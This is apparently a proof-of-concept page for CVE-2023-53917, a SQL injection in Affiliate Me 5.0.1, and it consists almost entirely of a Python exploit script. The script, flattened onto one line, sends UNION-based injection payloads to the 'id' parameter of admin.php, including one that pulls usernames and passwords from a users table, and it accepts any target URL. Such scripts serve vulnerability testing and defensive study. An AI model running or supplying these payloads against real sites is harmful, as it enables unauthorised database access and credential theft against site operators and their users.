CVE-2023-53917 Affiliate Me SQL注入漏洞

import requests import sys # CVE-2023-53917 SQL Injection PoC for Affiliate Me 5.0.1 # Target: admin.php endpoint with 'id' parameter target_url = "http://target.com/admin.php" # Payload to extract database version and user information payloads = [ "1 UNION SELECT 1,version(),user(),3,4,5,6,7--", "1 UNION SELECT 1,username,password,4,5,6,7 FROM users--", "1' AND (SELECT COUNT(*) FROM users) > 0--" ] def exploit_sqli(target, payload): """Send malicious SQL payload to id parameter""" params = {'id': payload} try: response = requests.get(target, params=params, timeout=10) # Check for SQL error messages or successful data extraction if 'SQL' in response.text or 'mysql' in response.text.lower(): print(f"[+] Potential SQL Injection detected with payload: {payload}") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] print(f"[*] Testing CVE-2023-53917 on {target_url}") for payload in payloads: if exploit_sqli(target_url, payload): print(f"[+] Payload successful: {payload}") break